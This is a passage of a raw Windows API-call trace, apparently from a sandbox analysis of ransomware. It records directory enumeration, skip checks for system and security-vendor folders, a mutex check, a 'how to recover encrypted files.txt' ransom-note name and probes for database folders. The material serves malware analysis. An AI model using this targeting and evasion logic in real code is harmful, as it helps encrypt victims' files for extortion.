(in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.024] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.024] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.024] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.024] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0047.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.024] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.024] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.024] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.024] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.024] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0047.025] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0047.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\it-IT\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0047.025] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.025] GetLastError () returned 0x12 [0047.025] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.025] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.025] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.025] GlobalLock (hMem=0x440004) returned 0x551178 [0047.025] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.025] GlobalUnlock (hMem=0x440004) returned 0 [0047.025] GlobalLock (hMem=0x440004) returned 0x551178 [0047.026] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.026] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.026] GlobalUnlock (hMem=0x440004) returned 0 [0047.026] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.026] GlobalUnlock (hMem=0x44000c) returned 0 [0047.026] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.026] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.026] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.026] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.026] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.026] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.026] GlobalUnlock (hMem=0x44000c) returned 0 [0047.026] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.026] GlobalLock (hMem=0x440004) returned 0x554190 [0047.026] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.026] GlobalUnlock (hMem=0x44000c) returned 0 [0047.026] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.026] GlobalUnlock (hMem=0x440004) returned 0 [0047.026] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.026] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.026] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.026] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.026] GlobalLock (hMem=0x440004) returned 0x552180 [0047.026] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.026] GlobalUnlock (hMem=0x440004) returned 0 [0047.026] GlobalLock (hMem=0x440004) returned 0x552180 [0047.026] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.026] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.026] GlobalUnlock (hMem=0x440004) returned 0 [0047.026] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.026] GlobalUnlock (hMem=0x44000c) returned 0 [0047.027] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.027] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.027] GetLastError () returned 0x12 [0047.027] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.027] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.027] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.027] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.027] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.027] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.027] GlobalUnlock (hMem=0x44000c) returned 0 [0047.027] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.027] GlobalLock (hMem=0x440004) returned 0x553188 [0047.027] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.027] GlobalUnlock (hMem=0x44000c) returned 0 [0047.027] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.027] GlobalUnlock (hMem=0x440004) returned 0 [0047.027] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.027] GlobalLock (hMem=0x440004) returned 0x551178 [0047.027] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.027] GlobalUnlock (hMem=0x440004) returned 0 [0047.028] GlobalLock (hMem=0x440004) returned 0x551178 [0047.028] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.028] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.028] GlobalUnlock (hMem=0x440004) returned 0 [0047.028] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.028] GlobalUnlock (hMem=0x44000c) returned 0 [0047.028] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.028] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP") returned 1 [0047.028] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.028] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.028] GlobalUnlock (hMem=0x44000c) returned 0 [0047.028] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.028] GlobalLock (hMem=0x440004) returned 0x553188 [0047.028] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.028] GlobalUnlock (hMem=0x44000c) returned 0 [0047.028] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.028] GlobalUnlock (hMem=0x440004) returned 0 [0047.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0047.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.028] GetLastError () returned 0x3 [0047.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18㿬Q\x181")) returned 0xffffffff [0047.029] GetLastError () returned 0x2 [0047.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.030] GetLastError () returned 0x2 [0047.030] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.030] GetLastError () returned 0x2 [0047.030] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18❌R\x18j")) returned 0xffffffff [0047.031] GetLastError () returned 0x2 [0047.031] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, 